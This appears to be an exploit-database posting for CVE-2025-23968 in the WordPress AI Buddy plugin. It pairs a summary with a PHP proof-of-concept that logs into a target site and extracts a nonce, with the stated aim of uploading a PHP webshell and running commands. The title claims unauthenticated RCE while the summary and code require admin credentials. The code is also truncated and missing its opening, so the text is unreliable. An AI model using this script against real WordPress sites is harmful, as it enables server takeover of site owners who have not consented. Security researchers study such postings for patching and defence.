============================================================================================================================================= | # Title : WordPress AI Buddy Plugin <= 1.8.5 - Unauthenticated RCE Exploit | | # Author : indoushka | | # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 145.0.1 (64 bits) | | # Vendor : https://wordpress.org/plugins/ | ============================================================================================================================================= POC : [+] References : https://packetstorm.news/files/id/210977/ & CVE-2025-23968 [+] Summary : an authenticated arbitrary file upload vulnerability in the AI Buddy plugin for WordPress versions 1.8.5 and earlier. The vulnerability allows authenticated attackers to upload arbitrary files, including PHP webshells, by exploiting the image attachment functionality in the AI Buddy REST API endpoint. The vulnerability exists in the attachment upload functionality where the plugin insecurely handles remote file URLs and allows arbitrary file extensions to be specified, bypassing WordPress security controls. [+] POC : php poc.php https://target.com admin password123 "whoami" target = rtrim($target_url, '/'); $this->session = curl_init(); // Configure cURL curl_setopt_array($this->session, [ CURLOPT_RETURNTRANSFER => true, CURLOPT_FOLLOWLOCATION => true, CURLOPT_SSL_VERIFYPEER => false, CURLOPT_SSL_VERIFYHOST => false, CURLOPT_TIMEOUT => 30, CURLOPT_USERAGENT => 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36' ]); } public function wp_login($username, $password) { echo "[*] Logging into WordPress...\n"; $login_data = http_build_query([ 'log' => $username, 'pwd' => $password, 'wp-submit' => 'Log In', 'redirect_to' => $this->target . '/wp-admin', 'testcookie' => '1' ]); curl_setopt_array($this->session, [ CURLOPT_URL => $this->target . '/wp-login.php', CURLOPT_POST => true, CURLOPT_POSTFIELDS => $login_data, CURLOPT_HTTPHEADER => [ 'Content-Type: application/x-www-form-urlencoded', 'Cookie: wordpress_test_cookie=WP Cookie check' ] ]); $response = curl_exec($this->session); $http_code = curl_getinfo($this->session, CURLINFO_HTTP_CODE); // Get cookies from session $cookies = []; preg_match_all('/^Set-Cookie:\s*([^;]*)/mi', $response, $matches); foreach($matches[1] as $item) { parse_str($item, $cookie); $cookies = array_merge($cookies, $cookie); } if (isset($cookies['wordpress_logged_in'])) { echo "[+] Successfully logged in\n"; return true; } else { echo "[-] Login failed\n"; return false; } } public function extract_nonce() { echo "[*] Extracting AI Buddy nonce...\n"; curl_setopt_array($this->session, [ CURLOPT_URL => $this->target . '/wp-admin/tools.php', CURLOPT_HTTPGET => true, CURLOPT_HTTPHEADER => [] ]); $response = curl_exec($this->session); // Extract nonce from JavaScript preg_match('/